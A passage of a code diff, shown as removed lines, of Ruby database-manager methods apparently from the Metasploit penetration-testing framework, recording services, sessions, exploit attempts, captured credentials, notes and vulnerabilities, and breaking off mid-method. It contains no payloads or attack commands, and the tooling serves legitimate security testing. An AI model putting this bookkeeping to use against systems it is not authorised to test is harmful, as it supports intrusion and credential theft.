::ActiveRecord::Base.connection_pool.with_connection { |conn| - addr = opts.delete(:host) || return - hname = opts.delete(:host_name) - hmac = opts.delete(:mac) - host = nil - wspace = opts.delete(:workspace) || workspace - hopts = {:workspace => wspace, :host => addr} - hopts[:name] = hname if hname - hopts[:mac] = hmac if hmac - - # Other report_* methods take :sname to mean the service name, so we - # map it here to ensure it ends up in the right place despite not being - # a real column. - if opts[:sname] - opts[:name] = opts.delete(:sname) - end - - if addr.kind_of? ::Mdm::Host - host = addr - addr = host.address - else - host = report_host(hopts) - end - - if opts[:port].to_i.zero? - dlog("Skipping port zero for service '%s' on host '%s'" % [opts[:name],host.address]) - return nil - end - - ret = {} -=begin - host = get_host(:workspace => wspace, :address => addr) - if host - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! - end -=end - - proto = opts[:proto] || 'tcp' - - service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto) - opts.each { |k,v| - if (service.attribute_names.include?(k.to_s)) - service[k] = ((v and k == :name) ? v.to_s.downcase : v) - else - dlog("Unknown attribute for Service: #{k}") - end - } - service.state ||= ServiceState::Open - service.info ||= "" - - if (service and service.changed?) - msf_import_timestamps(opts,service) - service.save! - end - - if opts[:task] - Mdm::TaskService.create( - :task => opts[:task], - :service => service - ) - end - - ret[:service] = service - } - end - - def get_service(wspace, host, proto, port) - ::ActiveRecord::Base.connection_pool.with_connection { - host = get_host(:workspace => wspace, :address => host) - return if not host - return host.services.find_by_proto_and_port(proto, port) - } - end - - # - # Iterates over the services table calling the supplied block with the - # service instance of each entry. - # - def each_service(wspace=workspace, &block) - ::ActiveRecord::Base.connection_pool.with_connection { - services(wspace).each do |service| - block.call(service) - end - } - end - - # - # Returns a list of all services in the database - # - def services(wspace = workspace, only_up = false, proto = nil, addresses = nil, ports = nil, names = nil) - ::ActiveRecord::Base.connection_pool.with_connection { - conditions = {} - conditions[:state] = [ServiceState::Open] if only_up - conditions[:proto] = proto if proto - conditions["hosts.address"] = addresses if addresses - conditions[:port] = ports if ports - conditions[:name] = names if names - wspace.services.includes(:host).where(conditions).order("hosts.address, port") - } - end - - # Returns a session based on opened_time, host address, and workspace - # (or returns nil) - def get_session(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts[:workspace] || opts[:wspace] || workspace - addr = opts[:addr] || opts[:address] || opts[:host] || return - host = get_host(:workspace => wspace, :host => addr) - time = opts[:opened_at] || opts[:created_at] || opts[:time] || return - ::Mdm::Session.find_by_host_id_and_opened_at(host.id, time) - } - end - - # @note The Mdm::Session#desc will be truncated to 255 characters. - # @todo https://www.pivotaltracker.com/story/show/48249739 - # - # @overload report_session(opts) - # Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the - # +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the - # session's host. The Mdm::Host for the +session_host+ is created using - # The session.session_host, +session.arch+ (if +session+ responds to arch), - # and the workspace derived from opts or the +session+. The Mdm::Session is - # assumed to be +last_seen+ and +opened_at+ at the time report_session is - # called. +session.exploit_datastore['ParentModule']+ is used for the - # Mdm::Session#via_exploit if +session.via_exploit+ is - # 'exploit/multi/handler'. - # - # @param opts [Hash{Symbol => Object}] options - # @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session - # The in-memory session to persist to the database. - # @option opts [Mdm::Workspace] :workspace The workspace for in which the - # :session host is contained. Also used as the workspace for the - # Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with - # Mdm::Workspace#name equal to +session.workspace+. - # @return [nil] if {Msf::DBManager#active} is +false+. - # @return [Mdm::Session] if session is saved - # @raise [ArgumentError] if :session is not an {Msf::Session}. - # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be - # saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be - # created, but the Mdm::Host will have been. (There is no transaction - # to rollback the Mdm::Host creation.) - # @see #find_or_create_host - # @see #normalize_host - # @see #report_exploit_success - # @see #report_vuln - # - # @overload report_session(opts) - # Creates an Mdm::Session from Mdm::Host. - # - # @param opts [Hash{Symbol => Object}] options - # @option opts [DateTime, Time] :closed_at The date and time the sesion was - # closed. - # @option opts [String] :close_reason Reason the session was closed. - # @option opts [Hash] :datastore {Msf::DataStore#to_h}. - # @option opts [String] :desc Session description. Will be truncated to 255 - # characters. - # @option opts [Mdm::Host] :host The host on which the session was opened. - # @option opts [DateTime, Time] :last_seen The last date and time the - # session was seen to be open. Defaults to :closed_at's value. - # @option opts [DateTime, Time] :opened_at The date and time that the - # session was opened. - # @option opts [String] :platform The platform of the host. - # @option opts [Array] :routes ([]) The routes through the session for - # pivoting. - # @option opts [String] :stype Session type. - # @option opts [String] :via_exploit The {Msf::Module#fullname} of the - # exploit that was used to open the session. - # @option option [String] :via_payload the {MSf::Module#fullname} of the - # payload sent to the host when the exploit was successful. - # @return [nil] if {Msf::DBManager#active} is +false+. - # @return [Mdm::Session] if session is saved. - # @raise [ArgumentError] if :host is not an Mdm::Host. - # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be - # saved. - # - # @raise ArgumentError if :host and :session is +nil+ - def report_session(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - if opts[:session] - raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session - session = opts[:session] - wspace = opts[:workspace] || find_workspace(session.workspace) - h_opts = { } - h_opts[:host] = normalize_host(session) - h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch - h_opts[:workspace] = wspace - host = find_or_create_host(h_opts) - sess_data = { - :host_id => host.id, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :routes => [], - :datastore => session.exploit_datastore.to_h, - :port => session.session_port, - :opened_at => Time.now.utc, - :last_seen => Time.now.utc, - :local_id => session.sid - } - elsif opts[:host] - raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - sess_data = { - :host_id => host.id, - :stype => opts[:stype], - :desc => opts[:desc], - :platform => opts[:platform], - :via_payload => opts[:via_payload], - :via_exploit => opts[:via_exploit], - :routes => opts[:routes] || [], - :datastore => opts[:datastore], - :opened_at => opts[:opened_at], - :closed_at => opts[:closed_at], - :last_seen => opts[:last_seen] || opts[:closed_at], - :close_reason => opts[:close_reason], - } - else - raise ArgumentError.new("Missing option :session or :host") - end - ret = {} - - # Truncate the session data if necessary - if sess_data[:desc] - sess_data[:desc] = sess_data[:desc][0,255] - end - - # In the case of multi handler we cannot yet determine the true - # exploit responsible. But we can at least show the parent versus - # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] - end - - s = ::Mdm::Session.new(sess_data) - s.save! - - if session and session.exploit_task and session.exploit_task.record - session_task = session.exploit_task.record - if session_task.class == Mdm::Task - Mdm::TaskSession.create(:task => session_task, :session => s ) - end - end - - - if opts[:session] - session.db_record = s - end - - # If this is a live session, we know the host is vulnerable to something. - if opts[:session] and session.via_exploit - mod = framework.modules.create(session.via_exploit) - - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name - else - mod_name = mod.name - mod_fullname = mod.fullname - end - - vuln_info = { - :host => host.address, - :name => mod_name, - :refs => mod.references, - :workspace => wspace, - :exploited_at => Time.now.utc, - :info => "Exploited by #{mod_fullname} to create Session #{s.id}" - } - - port = session.exploit_datastore["RPORT"] - service = (port ? host.services.find_by_port(port.to_i) : nil) - - vuln_info[:service] = service if service - - vuln = framework.db.report_vuln(vuln_info) - - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - via_exploit = sess_data[:datastore]['ParentModule'] - else - via_exploit = session.via_exploit - end - attempt_info = { - :timestamp => Time.now.utc, - :workspace => wspace, - :module => via_exploit, - :username => session.username, - :refs => mod.references, - :session_id => s.id, - :host => host, - :service => service, - :vuln => vuln - } - - framework.db.report_exploit_success(attempt_info) - - end - - s - } - end - - # - # Record a session event in the database - # - # opts MUST contain one of: - # +:session+:: the Msf::Session OR the ::Mdm::Session we are reporting - # +:etype+:: event type, enum: command, output, upload, download, filedelete - # - # opts may contain - # +:output+:: the data for an output event - # +:command+:: the data for an command event - # +:remote_path+:: path to the associated file for upload, download, and filedelete events - # +:local_path+:: path to the associated file for upload, and download - # - def report_session_event(opts) - return if not active - raise ArgumentError.new("Missing required option :session") if opts[:session].nil? - raise ArgumentError.new("Expected an :etype") unless opts[:etype] - session = nil - - ::ActiveRecord::Base.connection_pool.with_connection { - if opts[:session].respond_to? :db_record - session = opts[:session].db_record - if session.nil? - # The session doesn't have a db_record which means - # a) the database wasn't connected at session registration time - # or - # b) something awful happened and the report_session call failed - # - # Either way, we can't do anything with this session as is, so - # log a warning and punt. - wlog("Warning: trying to report a session_event for a session with no db_record (#{opts[:session].sid})") - return - end - event_data = { :created_at => Time.now } - else - session = opts[:session] - event_data = { :created_at => opts[:created_at] } - end - - event_data[:session_id] = session.id - [:remote_path, :local_path, :output, :command, :etype].each do |attr| - event_data[attr] = opts[attr] if opts[attr] - end - - s = ::Mdm::SessionEvent.create(event_data) - } - end - - def report_session_route(session, route) - return if not active - if session.respond_to? :db_record - s = session.db_record - else - s = session - end - unless s.respond_to?(:routes) - raise ArgumentError.new("Invalid :session, expected Session object got #{session.class}") - end - - ::ActiveRecord::Base.connection_pool.with_connection { - - subnet, netmask = route.split("/") - s.routes.create(:subnet => subnet, :netmask => netmask) - } - end - - def report_session_route_remove(session, route) - return if not active - if session.respond_to? :db_record - s = session.db_record - else - s = session - end - unless s.respond_to?(:routes) - raise ArgumentError.new("Invalid :session, expected Session object got #{session.class}") - end - - ::ActiveRecord::Base.connection_pool.with_connection { - subnet, netmask = route.split("/") - r = s.routes.find_by_subnet_and_netmask(subnet, netmask) - r.destroy if r - } - end - - - def report_exploit_success(opts) - ::ActiveRecord::Base.connection_pool.with_connection { - - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up or generate the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) - if svc.kind_of? ::Mdm::Service - host = svc.host - else - host = report_host(:workspace => wspace, :address => host ) - end - end - - # Bail if we dont have a host object - return if not host - - # Look up or generate the service as appropriate - if port and svc.nil? - svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port - end - - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) - - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end - - # We have match, lets create a vuln_attempt record - if vuln - attempt_info = { - :vuln_id => vuln.id, - :attempted_at => timestamp || Time.now.utc, - :exploited => true, - :username => username || "unknown", - :module => mname - } - - attempt_info[:session_id] = opts[:session_id] if opts[:session_id] - attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - - vuln.vuln_attempts.create(attempt_info) - - # Correct the vuln's associated service if necessary - if svc and vuln.service_id.nil? - vuln.service = svc - vuln.save - end - end - - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => true, - :username => username || "unknown", - :module => mname - } - - attempt_info[:vuln_id] = vuln.id if vuln - attempt_info[:session_id] = opts[:session_id] if opts[:session_id] - attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } - end - - def report_exploit_failure(opts) - - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) - if svc.kind_of? ::Mdm::Service - host = svc.host - else - host = get_host( :workspace => wspace, :address => host ) - end - end - - # Bail if we dont have a host object - return if not host - - # Look up the service as appropriate - if port and svc.nil? - prot ||= "tcp" - svc = get_service(wspace, host, prot, port) if port - end - - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) - - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end - - # Report a vuln_attempt if we found a match - if vuln - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :fail_reason => freason, - :fail_detail => fdetail, - :username => username || "unknown", - :module => mname - } - - vuln.vuln_attempts.create(attempt_info) - end - - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :username => username || "unknown", - :module => mname, - :fail_reason => freason, - :fail_detail => fdetail - } - - attempt_info[:vuln_id] = vuln.id if vuln - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } - end - - - def report_vuln_attempt(vuln, opts) - ::ActiveRecord::Base.connection_pool.with_connection { - return if not vuln - info = {} - - # Opts can be keyed by strings or symbols - ::Mdm::VulnAttempt.column_names.each do |kn| - k = kn.to_sym - next if ['id', 'vuln_id'].include?(kn) - info[k] = opts[kn] if opts[kn] - info[k] = opts[k] if opts[k] - end - - return unless info[:attempted_at] - - vuln.vuln_attempts.create(info) - } - end - - def report_exploit_attempt(host, opts) - ::ActiveRecord::Base.connection_pool.with_connection { - return if not host - info = {} - - # Opts can be keyed by strings or symbols - ::Mdm::VulnAttempt.column_names.each do |kn| - k = kn.to_sym - next if ['id', 'host_id'].include?(kn) - info[k] = opts[kn] if opts[kn] - info[k] = opts[k] if opts[k] - end - - host.exploit_attempts.create(info) - } - end - - def get_client(opts) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - host = get_host(:workspace => wspace, :host => opts[:host]) || return - client = host.clients.where({:ua_string => opts[:ua_string]}).first() - return client - } - end - - def find_or_create_client(opts) - report_client(opts) - end - - # - # Report a client running on a host. - # - # opts MUST contain - # +:ua_string+:: the value of the User-Agent header - # +:host+:: the host where this client connected from, can be an ip address or a Host object - # - # opts can contain - # +:ua_name+:: one of the Msf::HttpClients constants - # +:ua_ver+:: detected version of the given client - # +:campaign+:: an id or Campaign object - # - # Returns a Client. - # - def report_client(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - addr = opts.delete(:host) || return - wspace = opts.delete(:workspace) || workspace - report_host(:workspace => wspace, :host => addr) - - ret = {} - - host = get_host(:workspace => wspace, :host => addr) - client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string]) - - opts[:ua_string] = opts[:ua_string].to_s - - campaign = opts.delete(:campaign) - if campaign - case campaign - when Campaign - opts[:campaign_id] = campaign.id - else - opts[:campaign_id] = campaign - end - end - - opts.each { |k,v| - if (client.attribute_names.include?(k.to_s)) - client[k] = v - else - dlog("Unknown attribute for Client: #{k}") - end - } - if (client and client.changed?) - client.save! - end - ret[:client] = client - } - end - - # - # This method iterates the vulns table calling the supplied block with the - # vuln instance of each entry. - # - def each_vuln(wspace=workspace,&block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.vulns.each do |vulns| - block.call(vulns) - end - } - end - - # - # This methods returns a list of all vulnerabilities in the database - # - def vulns(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.vulns - } - end - - # - # This methods returns a list of all credentials in the database - # - def creds(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id) - } - end - - # - # This method returns a list of all exploited hosts in the database. - # - def exploited_hosts(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.exploited_hosts - } - end - - # - # This method iterates the notes table calling the supplied block with the - # note instance of each entry. - # - def each_note(wspace=workspace, &block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.notes.each do |note| - block.call(note) - end - } - end - - # - # Find or create a note matching this type/data - # - def find_or_create_note(opts) - report_note(opts) - end - - # - # Report a Note to the database. Notes can be tied to a ::Mdm::Workspace, Host, or Service. - # - # opts MUST contain - # +:type+:: The type of note, e.g. smb_peer_os - # - # opts can contain - # +:workspace+:: the workspace to associate with this Note - # +:host+:: an IP address or a Host object to associate with this Note - # +:service+:: a Service object to associate with this Note - # +:data+:: whatever it is you're making a note of - # +:port+:: along with +:host+ and +:proto+, a service to associate with this Note - # +:proto+:: along with +:host+ and +:port+, a service to associate with this Note - # +:update+:: what to do in case a similar Note exists, see below - # - # The +:update+ option can have the following values: - # +:unique+:: allow only a single Note per +:host+/+:type+ pair - # +:unique_data+:: like +:uniqe+, but also compare +:data+ - # +:insert+:: always insert a new Note even if one with identical values exists - # - # If the provided +:host+ is an IP address and does not exist in the - # database, it will be created. If +:workspace+, +:host+ and +:service+ - # are all omitted, the new Note will be associated with the current - # workspace. - # - def report_note(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - if wspace.kind_of? String - wspace = find_workspace(wspace) - end - seen = opts.delete(:seen) || false - crit = opts.delete(:critical) || false - host = nil - addr = nil - # Report the host so it's there for the Proc to use below - if opts[:host] - if opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - else - addr = normalize_host(opts[:host]) - host = report_host({:workspace => wspace, :host => addr}) - end - # Do the same for a service if that's also included. - if (opts[:port]) - proto = nil - sname = nil - case opts[:proto].to_s.downcase # Catch incorrect usages - when 'tcp','udp' - proto = opts[:proto] - sname = opts[:sname] if opts[:sname] - when 'dns','snmp','dhcp' - proto = 'udp' - sname = opts[:proto] - else - proto = 'tcp' - sname = opts[:proto] - end - sopts = { - :workspace => wspace, - :host => host, - :port => opts[:port], - :proto => proto - } - sopts[:name] = sname if sname - report_service(sopts) - end - end - # Update Modes can be :unique, :unique_data, :insert - mode = opts[:update] || :unique - - ret = {} - - if addr and not host - host = get_host(:workspace => wspace, :host => addr) - end - if host and (opts[:port] and opts[:proto]) - service = get_service(wspace, host, opts[:proto], opts[:port]) - elsif opts[:service] and opts[:service].kind_of? ::Mdm::Service - service = opts[:service] - end -=begin - if host - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! - end -=end - ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") - data = opts[:data] - method = nil - args = [] - note = nil - - conditions = { :ntype => ntype } - conditions[:host_id] = host[:id] if host - conditions[:service_id] = service[:id] if service - - case mode - when :unique - notes = wspace.notes.where(conditions) - - # Only one note of this type should exist, make a new one if it - # isn't there. If it is, grab it and overwrite its data. - if notes.empty? - note = wspace.notes.new(conditions) - else - note = notes[0] - end - note.data = data - when :unique_data - notes = wspace.notes.where(conditions) - - # Don't make a new Note with the same data as one that already - # exists for the given: type and (host or service) - notes.each do |n| - # Compare the deserialized data from the table to the raw - # data we're looking for. Because of the serialization we - # can't do this easily or reliably in SQL. - if n.data == data - note = n - break - end - end - if not note - # We didn't find one with the data we're looking for, make - # a new one. - note = wspace.notes.new(conditions.merge(:data => data)) - end - else - # Otherwise, assume :insert, which means always make a new one - note = wspace.notes.new - if host - note.host_id = host[:id] - end - if opts[:service] and opts[:service].kind_of? ::Mdm::Service - note.service_id = opts[:service][:id] - end - note.seen = seen - note.critical = crit - note.ntype = ntype - note.data = data - end - msf_import_timestamps(opts,note) - note.save! - ret[:note] = note - } - end - - # - # This methods returns a list of all notes in the database - # - def notes(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.notes - } - end - - # This is only exercised by MSF3 XML importing for now. Needs the wait - # conditions and return hash as well. - def report_host_tag(opts) - name = opts.delete(:name) - raise DBImportError.new("Missing required option :name") unless name - addr = opts.delete(:addr) - raise DBImportError.new("Missing required option :addr") unless addr - wspace = opts.delete(:wspace) - raise DBImportError.new("Missing required option :wspace") unless wspace - ::ActiveRecord::Base.connection_pool.with_connection { - if wspace.kind_of? String - wspace = find_workspace(wspace) - end - - host = nil - report_host(:workspace => wspace, :address => addr) - - - host = get_host(:workspace => wspace, :address => addr) - desc = opts.delete(:desc) - summary = opts.delete(:summary) - detail = opts.delete(:detail) - crit = opts.delete(:crit) - possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, name).order("tags.id DESC").limit(1) - tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) - tag.name = name - tag.desc = desc - tag.report_summary = !!summary - tag.report_detail = !!detail - tag.critical = !!crit - tag.hosts = tag.hosts | [host] - tag.save! if tag.changed? - } - end - - # - # Store a set of credentials in the database. - # - # report_auth_info used to create a note, now it creates - # an entry in the creds table. It's much more akin to - # report_vuln() now. - # - # opts MUST contain - # +:host+:: an IP address or Host object reference - # +:port+:: a port number - # - # opts can contain - # +:user+:: the username - # +:pass+:: the password, or path to ssh_key - # +:ptype+:: the type of password (password(ish), hash, or ssh_key) - # +:proto+:: a transport name for the port - # +:sname+:: service name - # +:active+:: by default, a cred is active, unless explicitly false - # +:proof+:: data used to prove the account is actually active. - # - # Sources: Credentials can be sourced from another credential, or from - # a vulnerability. For example, if an exploit was used to dump the - # smb_hashes, and this credential comes from there, the source_id would - # be the Vuln id (as reported by report_vuln) and the type would be "Vuln". - # - # +:source_id+:: The Vuln or Cred id of the source of this cred. - # +:source_type+:: Either Vuln or Cred - # - # TODO: This is written somewhat host-centric, when really the - # Service is the thing. Need to revisit someday. - def report_auth_info(opts={}) - return if not active - raise ArgumentError.new("Missing required option :host") if opts[:host].nil? - raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) - - if (not opts[:host].kind_of?(::Mdm::Host)) and (not validate_ips(opts[:host])) - raise ArgumentError.new("Invalid address or object for :host (#{opts[:host].inspect})") - end - - ::ActiveRecord::Base.connection_pool.with_connection { - host = opts.delete(:host) - ptype = opts.delete(:type) || "password" - token = [opts.delete(:user), opts.delete(:pass)] - sname = opts.delete(:sname) - port = opts.delete(:port) - proto = opts.delete(:proto) || "tcp" - proof = opts.delete(:proof) - source_id = opts.delete(:source_id) - source_type = opts.delete(:source_type) - duplicate_ok = opts.delete(:duplicate_ok) - # Nil is true for active. - active = (opts[:active] || opts[:active].nil?) ? true : false - - wspace = opts.delete(:workspace) || workspace - - # Service management; assume the user knows what - # he's talking about. - service = opts.delete(:service) || report_service(:host => host, :port => port, :proto => proto, :name => sname, :workspace => wspace) - - # Non-US-ASCII usernames are tripping up the database at the moment, this is a temporary fix until we update the tables - if (token[0]) - # convert the token to US-ASCII from UTF-8 to prevent an error - token[0] = token[0].unpack("C*").pack("C*") - token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } - end - - if (token[1]) - token[1] = token[1].unpack("C*").pack("C*") - token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } - end - - ret = {} - - # Check to see if the creds already exist. We look also for a downcased username with the - # same password because we can fairly safely assume they are not in fact two seperate creds. - # this allows us to hedge against duplication of creds in the DB. - - if duplicate_ok - # If duplicate usernames are okay, find by both user and password (allows - # for actual duplicates to get modified updated_at, sources, etc) - if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") - else - cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") - unless cred - dcu = token[0].downcase - cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") - unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") - end - end - end - else - # Create the cred by username only (so we can change passwords) - if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) - else - cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype) - unless cred - dcu = token[0].downcase - cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") - unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) - end - end - end - end - - # Update with the password - cred.pass = (token[1] || "") - - # Annotate the credential - cred.ptype = ptype - cred.active = active - - # Update the source ID only if there wasn't already one. - if source_id and !cred.source_id - cred.source_id = source_id - cred.source_type = source_type if source_type - end - - # Safe proof (lazy way) -- doesn't chop expanded - # characters correctly, but shouldn't ever be a problem. - unless proof.nil? - proof = Rex::Text.to_hex_ascii(proof) - proof = proof[0,4096] - end - cred.proof = proof - - # Update the timestamp - if cred.changed? - msf_import_timestamps(opts,cred) - cred.save! - end - - # Ensure the updated_at is touched any time report_auth_info is called - # except when it's set explicitly (as it is for imports) - unless opts[:updated_at] || opts["updated_at"] - cred.updated_at = Time.now.utc - cred.save! - end - - - if opts[:task] - Mdm::TaskCred.create( - :task => opts[:task], - :cred => cred - ) - end - - ret[:cred] = cred - } - end - - alias :report_cred :report_auth_info - alias :report_auth :report_auth_info - - # - # Find or create a credential matching this type/data - # - def find_or_create_cred(opts) - report_auth_info(opts) - end - - # - # This method iterates the creds table calling the supplied block with the - # cred instance of each entry. - # - def each_cred(wspace=workspace,&block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.creds.each do |cred| - block.call(cred) - end - } - end - - def each_exploited_host(wspace=workspace,&block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.exploited_hosts.each do |eh| - block.call(eh) - end - } - end - - # - # Find or create a vuln matching this service/name - # - def find_or_create_vuln(opts) - report_vuln(opts) - end - - # - # opts MUST contain - # +:host+:: the host where this vulnerability resides - # +:name+:: the friendly name for this vulnerability (title) - # - # opts can contain - # +:info+:: a human readable description of the vuln, free-form text - # +:refs+:: an array of Ref objects or string names of references - # +:details:: a hash with :key pointed to a find criteria hash and the rest containing VulnDetail fields - # - def report_vuln(opts) - return if not active - raise ArgumentError.new("Missing required option :host") if opts[:host].nil? - raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data] - name = opts[:name] || return - info = opts[:info] - - ::ActiveRecord::Base.connection_pool.with_connection { - - wspace = opts.delete(:workspace) || workspace - exploited_at = opts[:exploited_at] || opts["exploited_at"] - details = opts.delete(:details) - rids = opts.delete(:ref_ids) - - if opts[:refs] - rids ||= [] - opts[:refs].each do |r| - if (r.respond_to?(:ctx_id)) and (r.respond_to?(:ctx_val)) - r = "#{r.ctx_id}-#{r.ctx_val}" - end - rids << find_or_create_ref(:name => r) - end - end - - host = nil - addr = nil - if opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - else - host = report_host({:workspace => wspace, :host => opts[:host]}) - addr = normalize_host(opts[:host]) - end - - ret = {} - - # Truncate the info field at the maximum field length - if info - info = info[0,65535] - end - - # Truncate the name field at the maximum field length - name = name[0,255] - - # Placeholder for the vuln object - vuln = nil - - # Identify the associated service - service = opts.delete(:service) - - # Treat port zero as no service - if service or opts[:port].to_i > 0 - - if not service - proto = nil - case opts[:proto].to_s.downcase # Catch incorrect usages, as in report_note - when 'tcp','udp' - proto = opts[:proto] - when 'dns','snmp','dhcp' - proto = 'udp' - sname = opts[:proto] - else - proto = 'tcp' - sname = opts[:proto] - end - - service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto) - end - - # Try to find an existing vulnerability with the same service & references - # If there are multiple matches, choose the one with the most matches - # If a match is found on a vulnerability with no associated service, - # update that vulnerability with our service information. This helps - # prevent dupes of the same vuln found by both local patch and - # service detection. - if rids and rids.length > 0 - vuln = find_vuln_by_refs(rids, host, service) - vuln.service = service if vuln - end - else - # Try to find an existing vulnerability with the same host & references - # If there are multiple matches, choose the one with the most matches - if rids and rids.length > 0 - vuln = find_vuln_by_refs(rids, host) - end - end - - # Try to match based on vuln_details records - if not vuln and opts[:details_match] - vuln = find_vuln_by_details(opts[:details_match], host, service) - if vuln and service and not vuln.service - vuln.service = service - end - end - - # No matches, so create a new vuln record - unless vuln - if service - vuln = service.vulns.find_by_name(name) - else - vuln = host.vulns.find_by_name(name) - end - - unless vuln - - vinf = { - :host_id => host.id, - :name => name, - :info => info - } - - vinf[:service_id] = service.id if service - vuln = Mdm::Vuln.create(vinf) - end - end - - # Set the exploited_at value if provided - vuln.exploited_at = exploited_at if exploited_at - - # Merge the references - if rids - vuln.refs << (rids - vuln.refs) - end - - # Finalize - if vuln.changed? - msf_import_timestamps(opts,vuln) - vuln.save! - end - - # Handle vuln_details parameters - report_vuln_details(vuln, details) if details - - vuln - } - end - - def find_vuln_by_refs(refs, host, service=nil) - - vuln = nil - - # Try to find an existing vulnerability with the same service & references - # If there are multiple matches, choose the one with the most matches - if service - refs_ids = refs.map{|x| x.id } - vuln = service.vulns.find(:all, :include => [:refs], :conditions => { 